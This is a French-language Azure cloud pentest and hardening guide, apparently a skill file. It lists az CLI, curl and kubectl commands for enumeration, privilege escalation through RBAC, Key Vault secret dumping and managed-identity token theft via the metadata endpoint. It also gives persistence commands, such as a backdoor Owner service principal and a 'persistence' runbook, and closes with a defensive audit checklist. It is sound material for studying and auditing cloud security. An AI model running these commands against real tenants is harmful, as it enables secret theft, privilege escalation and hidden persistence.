| name | cloud-security-azure |
| description | Guide complet de sécurité Azure — pentest, hardening, énumération, IAM, Key Vault, App Services, Functions, Storage, RBAC, Defender, Log Analytics, et détection d'incidents |
| category | cybersecurite |
Cloud Security Azure — Guide Complet
Prérequis
Installation outils
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
az login
az account list
az account set --subscription <ID>
Install-Module -Name Az -Force
pip install azure-identity azure-mgmt-resource
pip install scoutsuite
pip install prowler
Identités et Accès
az account show
az ad signed-in-user show
az account list --output table
az account management-group list
az ad tenant show
az rest --method get --url "https://management.azure.com/tenants?api-version=2020-01-01"
1. Énumération Azure
Ressources
az resource list --output table
az group list --output table
az group show --name <RG>
az vm list --output table
az vm list --query "[].{Name:name, OS:storageProfile.osDisk.osType, State:powerState}" --output table
az storage account list --output table
az storage account show --name <account>
az storage container list --account-name <account>
az storage blob list --container-name <container> --account-name <account>
az network vnet list --output table
az network nsg list --output table
az network nsg rule list --nsg-name <NSG> --resource-group <RG>
az sql server list --output table
az sql db list --server <server> --resource-group <RG>
az cosmosdb list --output table
az redis list --output table
az webapp list --output table
az functionapp list --output table
az webapp config appsettings list --name <app> --resource-group <RG>
az keyvault list --output table
az keyvault secret list --vault-name <vault>
az keyvault key list --vault-name <vault>
az aks list --output table
az aks show --name <cluster> --resource-group <RG>
az aks get-credentials --name <cluster> --resource-group <RG>
RBAC - Énumération des Permissions
az role assignment list --all --output table
az role assignment list --assignee <user> --all
az role definition list --custom-role-only true
az role assignment list --all --query "[].{Principal:principalName, Role:roleDefinitionName, Scope:scope}"
az rest --method get --url "https://management.azure.com/providers/Microsoft.Authorization/roleEligibilityScheduleInstances?api-version=2020-10-01"
Managed Identities
az vm show --name <vm> --resource-group <RG> --query identity
az identity list --output table
az identity show --name <identity> --resource-group <RG>
2. Escalade de Privilèges Azure
RBAC Chemins de Privesc
| Permission | Impact |
|---|
Microsoft.Authorization/roleAssignments/write | Attribuer n'importe quel rôle |
Microsoft.Authorization/roleDefinitions/write | Créer/modifier des rôles custom |
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action | Attacher une MSI |
Microsoft.KeyVault/vaults/write | Modifier les politiques d'accès |
Microsoft.Compute/virtualMachines/write | Exécuter des commandes |
Microsoft.Authorization/locks/delete | Supprimer les locks |
Exploitation RBAC
cat > custom-admin-role.json << 'EOF'
{
"Name": "Custom Admin",
"IsCustom": true,
"Description": "Full access",
"Actions": ["*"],
"NotActions": [],
"AssignableScopes": ["/subscriptions/<SUB-ID>"]
}
EOF
az role definition create --role-definition @custom-admin-role.json
az role assignment create --assignee <user> --role "Owner" --subscription <SUB-ID>
az lock delete --name <lock> --resource-group <RG>
Key Vault Exploitation
az keyvault show --name <vault> --query properties.accessPolicies
az role assignment create --assignee <user> --role "Key Vault Secrets User" --scope /subscriptions/.../vaults/<vault>
az keyvault secret list --vault-name <vault>
az keyvault secret show --vault-name <vault> --name <secret>
az keyvault key list --vault-name <vault>
az keyvault key show --vault-name <vault> --name <key>
Managed Identity Exploitation
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -H "Metadata: true"
export TOKEN=$(curl ...)
curl -H "Authorization: Bearer $TOKEN" https://management.azure.com/subscriptions?api-version=2020-01-01
Automation Account / Runbook Exploitation
az automation account list --output table
az automation runbook list --automation-account-name <aa> --resource-group <RG>
az automation variable list --automation-account-name <aa> --resource-group <RG>
3. Azure Storage Exploitation
Storage Account — Accès
curl https://<account>.blob.core.windows.net/<container>/?restype=container&comp=list
az storage blob list --account-name <account> --container-name <container> --auth-mode login
Tables & Queues
az storage table list --account-name <account>
az storage queue list --account-name <account>
az storage message peek --queue-name <queue> --account-name <account>
4. Azure Container Exploitation
ACR (Azure Container Registry)
az acr list --output table
az acr repository list --name <registry>
az acr repository show-tags --name <registry> --repository <image>
az acr login --name <registry>
docker pull <registry>.azurecr.io/<image>:<tag>
AKS (Azure Kubernetes Service)
az aks get-credentials --name <cluster> --resource-group <RG>
kubectl get nodes
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl get clusterrolebinding -o yaml
5. Azure App Services Exploitation
Web Apps
az webapp config appsettings list --name <app> --resource-group <RG>
az webapp config connection-string list --name <app> --resource-group <RG>
az webapp log tail --name <app> --resource-group <RG>
az webapp deployment source show --name <app> --resource-group <RG>
az webapp ssh --name <app> --resource-group <RG>
Functions
az functionapp config appsettings list --name <app> --resource-group <RG>
az functionapp function keys list --name <app> --resource-group <RG> --function-name <func>
az rest --method post --url "https://management.azure.com/subscriptions/.../resourceGroups/.../providers/Microsoft.Web/sites/<app>/functions/admin/masterkey?api-version=2019-08-01"
6. Azure Network Security
NSG Analysis
az network nsg rule list --nsg-name <NSG> --resource-group <RG> --query "[].{Name:name, Source:sourceAddressPrefix, Dest:destinationAddressPrefix, Port:destinationPortRange, Protocol:protocol, Access:access}"
az network nsg rule list --nsg-name <NSG> --resource-group <RG> --query "[?sourceAddressPrefix=='*' || sourceAddressPrefix=='0.0.0.0/0' || sourceAddressPrefix=='Internet']"
az network asg list --output table
Azure Firewall / WAF
az network firewall list --output table
az network firewall policy list --output table
az network application-gateway waf-policy list --output table
az network application-gateway waf-policy show --name <policy> --resource-group <RG>
Private Link / Service Endpoints
az network private-endpoint list --output table
az network private-link-service list --output table
az network vnet subnet list --resource-group <RG> --vnet-name <vnet> --query "[].{Name:name, ServiceEndpoints:serviceEndpoints}"
7. Détection et Défense Azure
Microsoft Defender for Cloud
az security pricing list --output table
az security secure-score list --output table
az security alert list --output table
az security alert show --name <alert>
az security assessment list --output table
Azure Policy
az policy assignment list --output table
az policy definition list --output table
az policy set-definition list --output table
Log Analytics / Sentinel
az monitor log-analytics workspace list --output table
Diagnostic Settings
az monitor diagnostic-settings list --resource <resource-id>
az monitor diagnostic-settings create --name "audit-logs" --resource <resource-id> --logs '[{"category":"AuditEvent","enabled":true}]' --workspace <workspace-id>
8. Persistance Azure
Service Principal Backdoor
az ad sp create-for-rbac --name "backup-service" --role Owner --scopes /subscriptions/<SUB-ID>
az ad sp credential list --id <app-id>
az login --service-principal -u <app-id> -p <password> --tenant <tenant>
Automation Account Persistence
az automation schedule create --automation-account-name <aa> --resource-group <RG> --name "daily-check" --start-time "2025-01-01T00:00:00Z" --day-interval 1
az automation runbook create --automation-account-name <aa> --resource-group <RG> --name "persistence" --type PowerShell --location <location>
Azure AD App Registration
az ad app create --display-name "MonitoringService" --available-to-other-tenants false
az ad app permission add --id <app-id> --api 00000002-0000-0000-c000-000000000000 --api-permissions 1cda74f2-2616-4834-b122-5cb1b07f8a59=Role
az ad app permission admin-consent --id <app-id>
9. Audit Checklist
ÉNUMÉRATION
☐ Lister toutes les ressources et subscriptions
☐ Analyser les rôles RBAC (sur-permissifs ?)
☐ Vérifier les Managed Identities exposées
☐ Inspecter les variables d'env des App Services/Functions
☐ Découvrir les Key Vaults accessibles
STOCKAGE
☐ Blobs publics / conteneurs ouverts
☐ SAS tokens exposés (dans code, logs, git)
☐ Firewall Storage désactivé
☐ Versioning désactivé
☐ Soft delete désactivé
IDENTITÉ
☐ MFA désactivé sur des comptes privilégiés
☐ Legacy authentication activé
☐ Conditional Access policies absentes
☐ Guest users avec trop de droits
☐ Service Principals avec credentials expirés
RÉSEAU
☐ NSG avec 0.0.0.0/0 sur ports sensibles (22, 3389, 1433)
☐ Pas de NSG sur des sous-réseaux
☐ Azure Firewall désactivé
☐ WAF désactivé sur App Gateway
☐ Private Link non utilisé pour les ressources critiques
SÉCURITÉ
☐ Microsoft Defender for Cloud désactivé
☐ Secure Score bas
☐ Azure Policy non déployée
☐ Diagnostic Settings manquants
☐ Log Analytics / Sentinel non configurés
☐ AuditLogs non archivés
☐ Network Watcher désactivé
CONTAINERS
☐ ACR sans firewall / admin user activé
☐ AKS avec RBAC désactivé
☐ AKS Azure AD integration désactivée
☐ Container images non scannées
DÉTECTION
☐ Defender for Cloud alerts non configurées
☐ Azure Sentinel absent
☐ Anomaly detection désactivée
☐ Purview (data governance) non déployé
Outils
Ressources